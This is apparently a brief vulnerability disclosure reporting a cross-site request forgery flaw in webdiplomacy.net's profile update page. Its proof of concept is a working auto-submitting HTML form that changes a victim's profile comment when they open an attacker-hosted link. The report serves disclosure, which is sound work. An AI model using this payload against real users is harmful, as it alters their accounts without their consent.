✍️ Description

csrf bug to change user profile

🕵️‍♂️ Proof of Concept

I see there no csrf token checking when updating user-profile save bellow html code in html file and host this file . Now sent this file link to vicitm when victim open the link then his profile information will be changed .

<form action="https://webdiplomacy.net/usercp.php" method="post" id="myForm">
<input type=hidden name="userForm[comment]" value="yyyy">
  <input type="submit" value="Submit">
</form> 
<script>
document.getElementById("myForm").submit()
</script>

💥 Impact

attacker can change vicitm profile information when he open a malicious link